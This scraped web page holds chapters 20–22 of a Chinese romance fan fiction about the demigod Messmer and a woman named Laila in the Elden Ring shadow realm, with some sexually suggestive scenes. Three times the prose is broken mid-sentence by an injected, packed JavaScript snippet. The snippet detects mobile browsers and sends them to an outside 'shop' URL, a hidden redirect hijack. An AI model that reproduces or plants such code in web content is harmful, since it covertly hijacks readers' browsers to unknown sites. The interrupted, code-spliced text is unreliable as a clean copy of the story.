萨赞前几天还好好的,怎么会忽然闪到腰呢?这件事就说来话长了。 温戈告诉她,萨赞上了年纪,老了,老年人会闪到腰很正常。 希德要照顾萨赞,最近会比较忙。至于盖乌斯,他的屋子在聚餐时被醉酒的火焰骑士烧出了个大洞,他忙着修理屋顶,暂时没空给她上骑术课了。而他比较不幸,在换季时分感染了风寒,近期需要静养。 “……” 她有些恍惚地回到塔楼前,镇守在门口的火焰骑士朝她看了过来。 身为火焰骑士团的团长,库德的装束和其他人稍有不同。他没有黄金面具,戴着有翼蛇纹饰的头盔,手里提着剑刃如火焰波动的大剑,一年四季都风雨无阻地守在梅瑟莫的觐见厅门前。 哪怕同僚都跑去聚餐了,火焰骑士团的团长依然尽忠职守,不曾离开自己的岗位半步。 见她回来,库德微微点头朝她示意。她没有立刻进去,而是在门边停了下来。 她背着手,假装和他一起看风景。幽影城今天也是灰蒙蒙的阴天,风中充斥着一股萧瑟的凉意。 两人一起站了会儿岗,她觉得时机应该差不多了,开口问他:“梅瑟莫先生有什么喜欢的东西吗?” 希德说库德在梅瑟莫的门前守了千年。作为梅瑟莫最信赖的下属之一,她想他估计会比较了解梅瑟莫的喜好。 “……” 沉默许久后,库德无声地朝她望来。 她满怀期待地和他对视。 对视片刻后,库德收回目光,将头转了回去,继续直视前方。 “……?” 希德说库德不爱说话,这可能是守门守了一千年的后遗症,语言功能有些退化。 她不死心地又试了几次,每次都得到相同的结果。 后来她想了想,幽影城城主的喜好,估计算军事机密。 还是说,库德的意思是这种事情她应该自己去探索? 她陷入沉思,一不小心就想得有些入神,连梅瑟莫刚才说了什么都没听见。 “……莱拉。” 红发的半神蹙着眉,苍白俊美的脸神情阴暗。 这几天两人过得十分颓靡,大部分时间都在床榻上度过。她倒是想奋发图强,但授课的火焰骑士集体请假,她没有事做,整天都和梅瑟莫窝着。 幽影地最不缺的,可能就是漫无止境的时间。整天无所事事,她有些良心难安,梅瑟莫倒是适应良好,她有几次想起身,都被他重新缠回了床上,只是稍微那么一懈怠,大半天时间又荒废了。 “你在想什么?”梅瑟莫嗓音微低。 她支支吾吾,顾左右而言他。她还没想好要送他什么,总不能提前剧透。 喉咙微动,再次开口时,梅瑟莫的嗓音已经变得沙哑艰涩。 “幽影城外面很危险。” 他拢住她的脸,低声说:“如果你实在……想出去,幽影地各地还有一些要塞。” 金色的竖瞳神情晦涩。 “那些城池不适合你居住,我可以命人修缮,翻修之后你再前去也不迟。” “但每隔十天,”他说,“……每个月,你至少要允我见你一次。” “……” 她迷茫又惊讶:“你在说什么?我为什么要搬出去?” 梅瑟莫安静下来。 “这几天,你屡次想出门,难道不是出于厌倦?” 金色的竖瞳盯着她,像蛇盯着猎物,一动不动的模样有些怵人。 她微微脸红:“当然不是。” “由俭入奢易,由奢入俭难。我这几天过得太舒服,以后若是养成了习惯可怎么办。” 天天睡到日上三竿,醒来后也继续躺着。 她又不是蛇,可以一天花三分之二的时间睡觉。 “……没有人会说你。”梅瑟莫好像微微放松下来,嗓音也变得低哑柔和,“你想做什么就做什么。” “这叫自制力。”她回道,“人不能太放纵自己。” 说完,她小声嘀咕:“……但好像已经放纵过头了,唔。” 梅瑟莫扣住她的后脑勺,在她唇上落下一吻。 这几天,他越发熟练,颇有些食髓知味,像饿了许久的蛇,缠人得紧。 “……现在还是白天。”她声音含糊。 梅瑟莫抬起手,用宽大的手掌盖住她的眼睑,世界顿时落入夜晚般的黑暗。 “莱拉。”温热的吐息落到耳畔,她脸颊发麻,从后颈到肩膀都变得酥酥麻麻。 黑暗中,感官被放大,触觉和听觉变得尤其敏感。 “嗯……”梅瑟莫不太能控制自己,总是会无法抑制地发出沙哑的声音。 他吻了吻她的下颌,低声说:“莱拉。” 他亲吻她的颈窝,嗓音染上颤意:“……莱拉。” 他像一条耐心的巨蟒,缓慢地缠住怀中的猎物,鳞片窸窸窣窣着滑过她的皮肤。 当他亲吻她的耳朵时,她没忍住动了动。 主要是他的声音,他的声音非常不妙。 挺拔的鼻梁没入她耳边的鬓发,梅瑟莫贴在她耳畔,开始轻轻喘气。 腾出来的另一只手,拢住她的腹部,沿着脐线往下游曳。 修长的手指没入缝隙,她捉住他的手腕,但那点力气对高大的半神来说如同蜉蝣撼树,反而显得好像是她在主动一般。 她侧过头,不想去听那声音,但梅瑟莫不依不饶,偏执莫名。 他用蛇一般的声音说:“这是我的,是不是?” 她神思恍惚,没有第一时间回答。 他执拗地问她:“是不是?” 好像一定要从她这里得到答案。 她撑着他的手腕,感到自己的理智在一点点流失。 “……是。”她说,“是你的。” 梅瑟莫侧身将她揽在怀中,一只手掌依然覆盖在她眼目上。 世界一片漆黑,她什么都看不见。 梅瑟莫亲亲她的脊椎骨,将她拢在怀里。 沙哑的声音染着热意,他用近乎虔诚的语气道:“再说一次。” 鼻尖蹭上她的颈窝,他哑声道:“再说一次,莱拉。” 黑暗中,她唯一能感受到的就是他的存在,和两人彼此的轮廓。 他宽阔的胸膛,劲瘦的腰身,瘦长的手。 她软下声音:“是你的。” 有意识或无意识地,他总是从她这里寻求着某种确据, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539131|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索求着她绝不会离开的证明。 明明只是几天的相处,他却好像已经想到了很久很久以后的事,甚至提前为此焦躁起来。 梅瑟莫的身体颤抖起来。如同濒死之人一般,从喉咙里断断续续地挤出声音。 “啊……啊……” 那声音如同啜泣,如同叹息。 红发的半神吻上她的后颈,像蛇一样咬住她的喉咙。 紧紧缠着她不断下落—— 下落—— …… 两人偎在一起。她蹭蹭他的鼻尖,亲亲他的嘴唇。 金色的竖瞳望着她,像在注视一场被他遗忘了很久的梦。 但身体残余的触感是真实的。她背部的伤疤同样也是真实存在的。 白皙的皮肤上留着蜈蚣般蜿蜒爬行的鞭痕,那痕迹梅瑟莫不怎么敢触碰。 他抚着她的背时,动作总是尤其小心翼翼。仿佛触碰易碎品一样,苍白的指尖滑过她的皮肤,轻得像微凉的雾。 “如果我当时来得更早……”梅瑟莫嗓音低哑。 她怀疑他更想说的是,如果他当时来晚了…… 红发的半神微颤着,慢慢呼出一口气,垂眼盖去眸中阴暗涌动的神色,似乎在平复着自己的情绪。 “你在幽影城住得可还习惯?” 她摆出自己最认真的表情:“我很满意。” 梅瑟莫的表情似是有些不信。阴森森的幽影城不管怎么看都不是宜人的居所。 “当然,除了幽影城,其他地方我还没怎么去过……”她诚实地补充。 梅瑟莫停下动作。 “……所以你以后得带我多逛逛。”她说,“人总是待在一个地方是会发霉的。” “蛇也会发霉的。” 带翼蛇露出赞同的神色。 “那些漂亮的会发光的花,是从哪里来的?”她问他。 花瓶里至今还放着那蓝色的花束。哪怕花叶枯萎了,她也舍不得扔掉。 “那些花来自青蓝海岸。”梅瑟莫低声说,“青蓝海岸位于幽影地的最南端,距此路途遥远……” 他抬起眼帘,注视她片刻。 “你喜欢那些花?” 她点头。 “虽然路途遥远,但不是没有快捷抵达的方法。” “就算没有快捷抵达的方法也没关系。”她说,“我现在骑马骑得可好了。” 梅瑟莫慢慢嗯了一声:“我还以为你对护城河的那只河马感兴趣?” 她惊讶地睁大眼睛,像发现了新大陆一般:“你居然打趣我。” 她拍拍他的手臂:“再来几句?” 梅瑟莫却阖上眼,作出要闭目休息的姿态。 带翼蛇拱拱他,他也没反应。 “梅瑟莫先生?” 好半晌,闭目养神的半神才开口说: “……你为什么喜欢那只河马?” “希德说,那是这世上最后一只黄金河马。” 如果这世上只剩下一个人,那个人该多孤独啊。 “但我观察了它很久,它每天优哉游哉,闲适自在,一点也不孤独的样子。” 她说:“那只黄金河马和人真是不一样啊。我觉得它好厉害,想和它做朋友。” 20.20 这是一座临海的要塞,漆黑的城墙森然耸立,潮湿的岩壁经海浪反复冲刷,攀满了暗绿的水藻和细密的藤壶。 墙垣和城门口的火盆昼夜燃烧不息,通往要塞的道路两侧立着一片黑色的枯木林。 那些枯木伸着畸形的枝干,凑近看便能发现是人形生物烧得焦黑的尸体。经过多年的风吹日晒,那些尸体早已和穿透身躯的木桩融为一体,每一个尖尖的木桩上都插着好几具焦尸,缺胳膊少腿地串在一起。 在城垣上站岗放哨的军兵眺望着雾气湿润的海面。即便知道不会有船只靠近,他们也日复一日、年复一年地矗立在那里,早在漫长的时间中变得和海边的礁石一样沉默。 但是,沉寂多年的要塞今日忙碌起来。 漆黑的城墙需要冲洗,绣着火焰和黄金环的军旗要拆下来清洗,城门口的那些焦尸更是需要通通处理——尸体扒不下来就算了,干脆连着漆黑的木桩一起销毁。 穿着盔甲的士兵将长枪换成拖把,反复洗刷血腥味浓厚的城墙。至于包裹在熊熊烈焰中的火树巨人,在一队骑兵的指示下,那东西缓缓退到海边的崖壁后,隐去自己可怖的身形。 忙碌好几天,临海的要塞总算打扫完毕,勉强可以伪装成正常的样子迎接客人。镇守要塞的黑甲骑士将火漆信封递给等候多时的幽灵信使。 那份信翻山越岭,从海雾潮湿的南方海岸出发,一路快马加鞭地送到北面高原的幽影城。 抵达目的地时,会议厅的桌上已经堆了几封相似的信笺。完成任务的幽灵侍从恭恭敬敬地行了一礼,红发金眸的半神毫无反应,似是在出神。 壁炉里的火光无声摇曳,在四周的墙壁和油画投下浓重阴影。羽毛笔的笔尖停留在公文上方许久,啪嗒一声,滴下一块不小的浓墨。 一整个上午,梅瑟莫都显得有些心不在焉。 “……梅瑟莫大人。”一旁的火焰骑士出声提醒。 见那高大的身影没有反应,火焰骑士又咳嗽了一声。 好半晌,梅瑟莫才放下笔,恹恹开口: “何事?” 那名火焰骑士低下头,悄声提醒他工匠马上就到了,应尽快做出选址的决定。 带翼蛇从桌上衔起一封信,递到梅瑟莫面前。那几封信的内容都差不多,表示自己负责的要塞已经焕然一新,随时可以接受视察。 梅瑟莫从那些申请文书中抽出一封,递给旁边的火焰骑士。 随着火焰骑士的离去,会议厅重新安静下来。最近天气转冷,壁炉里的炭火烧得比平时更旺。神色阴沉的半神逆着光坐在高背椅上,苍白的面容没有表情。带翼蛇耷拉着翅膀,无精打采地趴在他肩头。 每隔一段时间,就会有物种保藏库那边的火焰骑士过来报时间。但时间的流速从未如此缓慢,如同沿着树干缓缓流下树脂,还未落到地就已经凝结成快。 远处可以听见寒风呼啸的声音,呼啸的风声穿过漆黑的塔尖,在寂寥的天地间空空回荡。 幽影高原不下雪。到了冬季,万物凋敝,枯黄的野草碾落泥里,光秃秃的树枝伸向苍穹,景色比平时更加荒凉。 红发金眸的半神一动不动,仿佛和椅背融为一体,成了装饰性的石雕。 不知过了多久,步履匆匆的火焰骑士终于前来报告—— “课程结束了。” 寂静被打破,壁炉里的火光似乎跳跃了一下。趴在半神肩头的带翼蛇昂起头。 早上在物种保藏库门口分别时,她曾问过他今天有没有工作。她下课后应该直接去觐见厅找他呢,还是去会议厅找他?两人中午要在室内就餐呢,还是去外面就着阴沉萧瑟的景色进食? 他们可以在教区的黑色枯树下吃饭,也可以去幽影城后门的平原野餐。 对了,还有城垣,他们可以一起去城垣上看护城河的河马。 她已经替那个河马想好了名字,接下来只差用食物贿赂它,让它愿意和她亲近。 罗亚果是一种坚硬的红色果实,人类无法消化,希德说那只黄金河马很喜欢吃罗亚果的果干,每次都能一口气吃好几筐。 比较需要注意的是,投喂时若不注意距离,那只河马可能会连人带筐一起吞下去。 因为风险系数有点高,她暂时只能待在城垣上看河马,每次看河马还得有火焰骑士陪同。 她兴致勃勃地提了好几个建议,幻想了老半天,直到萨赞咳嗽起来,才不得不在阅读室门口和梅瑟莫告别。 好不容易熬到下课,她直奔会议厅。她进去后,守在门边的火焰骑士非常有默契地合上门。梅瑟莫离开桌边站起身,她刚快步跑过去,就被高大的半神一把捞入怀中,像抱小孩一样抱了起来。 熟悉的气息包围过来,如同木炭燃烧过后留下的浅淡熏香。会议厅的壁炉燃烧着火光,但梅瑟莫身上的锁子甲永远冰冰凉凉,像蛇类光滑细密的鳞片。 红发的半神低下头,将鼻尖埋入她的颈窝,如同快要枯干的植物好不容易汲取到水源,不受控制地从喉间溢出一声喟叹。 “莱拉。” 他将她抱得很紧,苍白的手臂绕过她的腰肢,宽大的手掌托住她的后颈。他抱着她在原地站了一会儿,然后又抱着她坐了下来,让她坐在他的大腿上。 “……这样会不会影响你工作?” 虽然四周没人,但总感觉这画面不应该出现在庄重的会议厅里。 “不会。”梅瑟莫低声回答她,“现在不是工作时间。” 长桌上明显累积了一些公文。 她看了那些公文一眼,然后又看了那些公文一眼。 梅瑟莫问她:“你感兴趣?” 他伸出手,将放在最上方的信笺递到她面前。 她说:“给我看没关系吗?” 梅瑟莫嗯了一声。 不知想到了什么,红发金眸的半神略略别开视线。 “如果你愿意的话,”他用似乎很平静的语气说,“这些以后也可以由你来处理。” 旁边的带翼蛇露出了智慧的眼神。 “真的?”她有些惊讶,又有些开心,感觉自己的能力好像得到认可了一样。 “我现在还在学习。”她认真保证,“但我会努力的。” “……” 带翼蛇保持着智慧的眼神,仿佛在对梅瑟莫说:「看吧,重要的事情随口说出来就是会得到这种结果。」 她打开那封信。 “这是一份报告书?” 她读了一会儿,又觉得不太对。 “这是什么申请吗?” 搞得和投标似的。 带翼蛇黏黏糊糊地绕过来,将脑袋贴到她手边让她摸。 她一边摸蛇一边说:“物种保藏库今天来了一批人。” 那些身影穿着长袍,戴着头顶簇有蓝色结晶石的面具,四处测量的模样似乎在考察地形。 希德含糊地告诉她,那些是从恩希斯城请来的魔法工匠。但被问及他们具体是来干什么的时,火焰骑士却开始顾左右而言他,好像这件事是什么秘密似的。 梅瑟莫说,那些工匠是来建传送门的。 她没有第一时间反应过来:“为什么要建传送门?” 两人对视片刻,她“啊”了一声,表情忽然亮起来。 她期待地问:“青蓝海岸?” 梅瑟莫没有否认。 红发金眸的半神看了她一会儿。 他用宽大的手掌拢住她的脸,覆有薄茧的指腹轻轻摩挲着她的面颊。 梅瑟莫将自己的情绪藏得很好。他垂下眼帘,他的眼睫和他的发色一样,都是火焰一般的红色,显得非常独特。 “你似乎很高兴。” 她侧了侧脸,将脸颊往他的掌心里贴得更深。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598434|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嗯,”她说,“我很高兴。” 梅瑟莫的神情中有什么东西柔软下来。 红发的半神低下头,两人鼻尖的软骨碰在一起,她忍不住笑了一下,他仿佛被那笑声吸引,情不自禁地咬了咬她的唇瓣。 喉咙微颤,他似乎不想将她吓跑了,动作克制地啄吻着她的唇角和下颌,让她慢慢在他怀里放松下来。 她本来就很放松。手指松松抓着猩红的斗篷,她仰起脸,任梅瑟莫捧着她的面颊,在她柔软的颈项上落下一个又一个吻。 那感觉就像在寒冷的天气里泡在热水浴里一样,舒服得她整个人都软了下来。 “……嗯,”她迷迷糊糊地说,“这样会不会……不太好?” 她觉得自己似乎忘记了什么很重要的事,但被亲到耳后的部位时,她忍不住在他怀里动了动,发出微小的喘气声。 ……在这方面确实是蛇啊。 表面上冷冰冰的,平时倒是看不出来。 她抓住烈焰般蜷曲的发丝,终于想起被自己忘记的是什么事了:“……我下午还有课。” 休息时间有限,她不抓紧时间吃午饭,下午就要饿着肚子去上课了。 呼吸一顿,梅瑟莫从她颈间抬起头。壁炉的火光照在他脸上,勾勒出他苍白瘦削的五官。金色的竖瞳隐在阴影里,红发的半神表情晦暗,没有立刻起身。 他仿佛贪恋着她的体温,像蛇一样蜷伏在她胸口,手臂依然紧紧缠在她腰上。 她有些动摇,但还是用劝哄的语气道: “我们有很多时间。” 所以不急于一时。 不管是今天晚上,还是以后,他们有很多很多的时间,多到她都有点担心自己以后如果冷却下来了怎么办。 她如同捧着火种,希望它慢慢燃烧,保持得长长久久,不要被忽如其来的寒风扑灭。 但是梅瑟莫不一样。他没有和她一样的顾虑,在千年的时间中保持感情不变对他来说好像不算什么,根本就不是难题。在他体内燃烧的火种,永远不会熄灭。 她想,这就是半神和人类的区别吗? 一开始,她以为腻在一起的那几天就够了,后来发现她似乎错估了梅瑟莫的需求。 他不是那几天渴求非常强烈,而是松开了某个禁制后,长期都会处于相同的状态,甚至因为之前长久的压抑而反弹得特别强烈。 看起来灰白冰冷的余烬,摸上去的时候才会发现烫得惊人。 带翼蛇蹭了蹭她的脸颊,这次轮到她凭着钢铁般的意志将它推开,然后从梅瑟莫的腿上坐了起来。 两人在一起的时候,时间总是过得很快。不过一会儿,她又得回去了。 她整理了一下头发和外袍,正要起身。 “……等等。” 从会议厅回到物种保藏库的路上会经过外墙的城垣,城垣上虽然有火盆架,室外依然寒冷,风也特别凛冽。 梅瑟莫朝她张开手,掌心摊开向上。 也不知他做了什么,周围的空气波动起来。暗红色的火焰燃起的刹那,滚滚热浪扑面而来,他身后的壁炉瞬间黯然失色。 那蛇一般的烈焰在他掌中摇曳燃烧,从一开始的膨胀夺目,逐渐被他压缩至灯盏的大小。 “出去的时候,你可以带着它。” 她有些诧异地望着那团火焰,没想到他会把这么重要的东西给她……用来取暖? 那生自他体内的火焰好似有灵性,梅瑟莫放下手后,它依然飘浮在半空。 梅瑟莫声音微哑:“你若是不喜,也不必勉强……” 那蛇形的暗红火焰,如同拥有自我意识一般朝她贴了过来。 她伸出手,那团火焰并没有在她掌中停留。 梅瑟莫止住声音。两人眼睁睁地看着那团暗红色的火焰没入她的胸口,在她心脏的位置消失不见了。 21.21 火焰是圣战的象征。 在梅瑟莫军,下至士兵都能使用火焰攻击。① 直属梅瑟莫的火焰骑士,会在授封仪式上被梅瑟莫亲自赐予火焰。骑士们会根据自身的特性将火焰运用到战斗中,和自己的剑技融为一体。 但是,梅瑟莫之火在物理意义上与人融合的情况好像还是第一次出现。 她站在原地,有些不知所措。梅瑟莫脸色微变,一下抓住她的手臂。 “莱拉。” 那团猩红的火焰在她胸口消失得无影无踪,如同水滴没入湖泊,连一丝涟漪都没有留下。 她看向梅瑟莫,他面色苍白,瞳孔紧缩:“你可有感到不适?” 好像只要她点头,就算是用掏的,他也要将那团火焰重新从她体内掏出来。 “……我感觉很正常。”她有些迷茫。 她不止感觉很正常,还觉得身体暖洋洋的,胸口特别熨帖。 “我觉得我应该……”没事。 梅瑟莫没给她机会把话说完。 会议厅的大门遽然被推开,得到命令的火焰骑士直奔物种保藏库,去请温戈和萨赞。 “等一下!”她抱住梅瑟莫的脖子,“先等一下!” 她可不想再像上次一样,因为体质弱被人围观了。 和一群活了上千年的人比体质就真的很犯规。 “我一点问题都没有!” 但也许是她有前科,梅瑟莫置若罔闻。红发金眸的半神将她捞起,似乎一刻也不想原地等待。猩红的斗篷随着他的步伐似烈焰翻涌,离开大厅时,他没忘记抬一下手,用宽大的手掌盖住她的脑袋遮挡寒风。 她想:完了完了完了完了…… 她绝对、不要被围观。 念及此,她一下抓住他的斗篷。 “梅瑟莫!” 高大的半神停下步伐。 带翼蛇慢慢转过头,似是没有反应过来。 长廊角落里的火盆架哔啵一声,溅出星点火花。 她磕巴了一下:“放我下来。” 温戈和萨赞匆匆赶来时,看到的就是她像攀岩一样,从微微松开手臂的高大半神身上跳下来的画面。 意识到事态没有自己想的那么严重,两人都微微放松下来。 萨赞将她请到空置的房间,让她召唤自己体内的火焰试试。 她有些不太确定地抬起手,掌心摊开向上。暗红色的火焰慢慢冒了出来,在她掌心中慵懒摇曳,看起来似乎在她体内待得很满足的样子。 蜷曲的火焰细丝如同娇小的蛇,先是绕着她的手指转了一圈,然后又沿着她的手背向手臂游走,最后惬意地在她颈边停了下来。 “……” 在场的火焰骑士悄无声息地看了梅瑟莫一眼。 萨赞沉思片刻,让她接下来将火焰收回去。 那蛇一般的火焰配合地游回她的掌心,变成火球的形态。她合拢手,将那团火焰压向自己的胸口,它很顺利地就融了进去,在这期间一点也没烧着她的皮肤。 猜测得到验证,萨赞转身面对梅瑟莫,解释他的火焰可能和她的灵魂融在了一起。 她的精神能和他人相融,而梅瑟莫的火焰拥有灵性,能被她的灵魂温养因此倒也不算奇怪。 就像找到了合适的窝的蛇一样,那火焰赖在她那不走了。 在场的火焰骑士又悄无声息地看了梅瑟莫一眼。 红发金眸的半神没有表情。 温戈不紧不慢道:“火焰祷告的课程本来排在大后期,现在应该提前了。” 梅瑟莫之火该如何使用,自然不会有人比他本人更清楚。 于是她又顺理成章地多了一门课。 这个世界的法术主要分为祷告和魔法,每种法术都类别繁多。除了火焰祷告以外,梅瑟莫军还会使用黄金树信仰衍生的祷告术,而蕾菈娜来自的卡利亚皇室则信仰月亮,使用的魔法也以此为基础。 能操纵火焰的感觉非常有趣。也许是那蛇形的火焰过于配合,也许是梅瑟莫教得好,她在其他实战课上表现平平,倒是在火焰祷告这一块进步特别快,以至于温戈不止一次开玩笑说,是时候该让她荒野求生了一下。 温戈给她上课时,总是会出一些千奇百怪的题。 他会让她辨认幽影地的生物,哪些东西会吃人,哪些东西不会吃人但会杀人,她全部都要记牢。 幽影地几乎所有生物对她来说都是高危的存在,能归为无害东西的只有羊、鹿、和老鹰,甚至连老鹰后面都要打上一个问号。 温戈说狼群能将她吃到骨头都不剩。如果是野狗的话那就更糟糕了,那些东西身染恶疾,有可怕的传染病,被野狗咬到还不如被狼群分食痛快点。 南边的海岸有一种叫陆地章鱼的生物,平时不会主动攻击人,但一旦到了繁殖季就会开始吃人,用人类的鲜血养育胚胎,因此学会辨认那些东西繁殖期的特点也很重要。 这次去青蓝海岸,她能见到那些会根据季节食人的陆地章鱼吗? 温戈笑呵呵地说,那就要看她运气了。 期盼无比的那一天很快到来。来自恩希斯城的魔法工匠做事非常高效,蕾菈娜曾骄傲地告诉她,论对传送阵法的精通,黄金王朝还是有得向卡利亚皇室学习。 刻有魔法浮雕的传送门建在物种保藏库七楼,目的地设置在青蓝海岸附近的一座要塞。两边都完工后,传送阵正式起效。 她闭上眼,只觉得微风如纱雾拂面,身体好像穿过一层无形而柔软的膜,再睁开眼睛时,她已经置身于陌生的场景。 临海的要塞和宏伟壮观的幽影城无法相比,但依然规模可观。铠甲锃亮、长枪锋利的军兵给两人举行了无声而隆重的迎接仪式。 为首的黑甲骑士以手按胸,朝梅瑟莫单膝跪下行礼。她默默躲到他身后,但又被半神捞了出来,让她站在他身侧。 镇守在这个要塞的军兵似乎都已经太久没开口说过话了。黑甲的骑士向梅瑟莫汇报近况时,声音嘶哑艰涩,仿佛要撕开黏连在一起的嘴唇说话。 梅瑟莫垂下眼帘,简单慰问了几句,那名骑士激动得身躯微微发抖,在广场里聚集的军兵也都支棱起来,仿佛下一刻就要出阵杀敌。 但那样的日子已经过去许久了。 梅瑟莫免了接下来的礼节,表示要带她去海边转转,并谢绝了其他人陪同的提议。 前往海边的路上,两人穿过了微光朦胧的花海。海雾潮湿,苍穹氤氲着浅淡的鸢紫,那些蓝色的花簇拥在一起,散发着柔和的微光,仿佛要一直蔓延到世界尽头。 她说,就像梦一样。 她跑出几步,又回到他身边,抓着他的手指用小孩子第一次看见雨雪的声音说,快看,好漂亮。 感叹完毕,她似是才想起来,这片景色他已经见过千百遍,早就失去了最初的震撼。 “陪我看早已看腻的景色,会不会有点无聊?”她说,“我其实一个人也可以,你不需要特地来一趟。” 梅瑟莫垂眸看她,半晌才道:“……不。” 微光柔和的蓝花在两人身侧摇曳,海雾潮湿迷蒙,天色显得朦胧而柔软。 “……我有点想起来了。”他平静地说,“第一次来到这里时的心情。” 那应该是好多好多年前的事了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612151|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 梅瑟莫的视线越过她的背后,落向远方。 幽影地的尽头是海,海的尽头又是什么呢? 海天相接的地方被雾气笼罩,再往前,就什么都看不到了。 青蓝海岸是亡魂的安歇之地。奇形怪状的石制建筑散落在花海四周,萨赞提前告诉过她,那些东西是古老的陵墓,是石制的棺材,漂洋过海从未知之地而来。 梅瑟莫说萨赞对考古抱有极大的热情,幽影地的边边角角,他都现场考察过。物种保藏库是萨赞的提议,希德是最主要的支持者之一。希德虽然没有萨赞那么沉迷上古遗迹,但对幽影地的动植物很感兴趣。收集稀奇古怪的标本,她是主力。 温戈喜欢和萨赞唱反调,经常在教区捣鼓他的研究。库德话不多,但非常可靠。昆兰太过吵闹,哭哭啼啼搞得人心烦,扔几个任务做做就好了。 所有火焰骑士,曾经都是黄金树王朝的贵族。因为追随梅瑟莫,他们最终皆被家族除名。 灰蓝色的海浪拍上沙滩,发出哗然一声碎响。 海边没有陆地章鱼。 没有陆地章鱼,没有巨型螃蟹,一切危险生物都不见踪迹,可以放心地让她跑来跑去。 她脱下鞋,在潮湿的沙滩上留下脚印。今天海浪不大,潮水缓缓起伏,堆叠着朝岸边翻涌而来。海水有些凉,但没有到冰凉刺骨的程度。 雾蒙蒙的天空是一种她从未见过的浅紫色,风中飘浮着蓝色的光点,像错季的萤火虫,慢悠悠地随风飞舞。 海边没有危险的生物,但她忘记了藏在沙里的贝壳。一时不查,她被破碎的贝壳划了一道,脚心沁出血丝,在没过脚背的海水中蜿蜒出一道红色的细线。 她被梅瑟莫抱到旁边的礁石上坐着,她缩起脚,又被他拉下来。 “一点小伤。”她心虚地说。 带翼蛇露出不赞同的神色。 梅瑟莫没有叹气,他蹙着眉,神情阴沉,薄唇紧抿。 她想伸出手,帮他抚平眉心的褶皱,但他在认真帮她疗伤。 温暖柔和的金色光芒自他手中亮起,那是她第一次见到梅瑟莫施展火焰祷告以外的法术。 以黄金树信仰为基础的治愈祷告,都来自永恒女王玛莉卡。 他懂得如何使用,其实是理所当然的一件事。 哪怕如今已被放逐,被遗忘在历史的背面,他曾是她的孩子。那是他母亲创造的治愈术。 脚掌心那点小伤口,哪怕放着不管也会很快愈合。她还没回过神,那浅淡的伤口已经消失不见了。 金色的光芒渐渐在手中黯淡下去,红发的半神没有立刻起身。 “……梅瑟莫。”她鬼使神差般地开口。 在他抬头望来时,她拿起之前藏起来的花,沿着他头盔和鬓角的缝隙放了进去。 “喏。”她说,“这是谢礼。” 虽然戴不上花环,但插一枝花还是没问题的。 她抚上他苍白的脸,指尖轻轻碰了碰他左眼的眼皮。 “真的,一点都看不见吗?” 喉咙微动,梅瑟莫低低地嗯了一声。 在失明的人中,毫无光感的人其实非常罕见。 梅瑟莫总是闭着左目,仅用右眼视物。她从来没见过他睁开左眼的样子。 “……我梦里的那条蛇,”她软下声音,“我还能见到它吗?” 它的眼睛覆着一层乳白的薄膜,像不透光的玻璃珠一样灰蒙黯淡。 梅瑟莫别过脸,嘴唇触碰到她掌心。他的呼吸声停在那里,微微有些发抖。 好半晌,他才用沙哑的声音说:“……如果你想的话。” 22.22 时间是夜晚。 烛火摇曳的寝殿内,两人面对面坐在床榻上,柔软的帷幔垂落下来,遮去了周围的光线。她摘下金色的蛇形手镯,将冰凉的金属放到一边。 高大的半神肌理苍白,瘦长的身体和正常人所理解的美观相差甚远,如同在生长过程中遭到外力阻挠的枝条,最后形体既不匀称也不协调。 梅瑟莫垂下眼帘,任她抚上他的面庞。她的手指沿着他的眉峰,沿着高挺的鼻梁滑下来,落到缺乏血色的薄唇上。 烈焰般的红发是梅瑟莫身上最鲜艳的色彩,和死气沉沉的灰形成了鲜明的对比。 她用指腹摩挲着他的唇瓣,倾身上前落下一吻。 他依然身躯紧绷,但当她气息贴近时,他本能般地张开唇瓣,如同嗅到甜腻血腥气的蛇,下意识便想咬住那味道的来源。 高大的半神拢住她的腰,手臂像蛇一样缠住她的身躯,将她贴到自己怀里。 一吻闭,她贴着他的下颌,小声说: “……今天不行的话,过几天也可以的。” 他无法放松,自然也就无法入睡。她想了半天,只能想到这么一个办法。 揽在她腰上的手臂微紧,她默认这是她可以继续下去的意思。 她摸摸他的背,试探着道:“……那,今天按照我的想法来?” 总不能他还醒着,她反倒先失去了意识。所以一切都要根据她的节奏来。 红发的半神斜倚到身后的软枕上,她爬上去,坐到他腰间。她并未有所动作,然而他的呼吸已经微微变调,变得暗流汹涌起来。 “别动。”她本来就有些紧张。梅瑟莫看着她的神情,就好像她在故意折磨他一样。 “……莱拉。”他嗓音发哑。 “嘘。”她软下声音哄他,“别出声。” 